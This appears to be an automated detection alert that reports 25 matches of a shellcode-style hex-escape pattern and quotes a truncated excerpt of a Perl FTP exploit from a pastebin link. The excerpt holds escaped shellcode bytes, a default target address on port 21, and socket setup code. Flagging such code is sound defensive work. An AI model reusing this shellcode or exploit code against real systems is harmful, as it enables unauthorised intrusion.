Detected 25 occurrence(s) of ‘\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}’: eb" . "\x85\x32\xc8\x7e\xb1\x10\xda\x46\x3a\x1d\x8e\x16\x6d\xcb" . "\x78\xd1\xc7\xbd\xd2\x8b\xb4\x17\xb2\x4a\xf7\xa7\xc4\x52" . "\xd2\x51\x28\xe2\x8b\x27\x57\xcb\x5b\xa0\x20\x31\xfc\x4f" . "\xfb\xf1\x02\xa1\x31\xec\x93\x18\xa0\x4d\xfe\x9a\x1f\x91" . "\x07\x19\x95\x6a\xfc\x01\xdc\x6f\xb8\x85\x0d\x02\xd1\x63" . "\x31\xb1\xd2\xa1"; my $target = shift || '192.168.75.141'; my $targetport = shift || 21; my $tcpproto = getprotobyname('tcp'); my $binaddr = inet_aton($target); my $exactaddr = sockaddr_in($targetport, $binaddr); print "Initiali Source: http://pastebin.com/raw.php?i=gbCbi9PF
↧
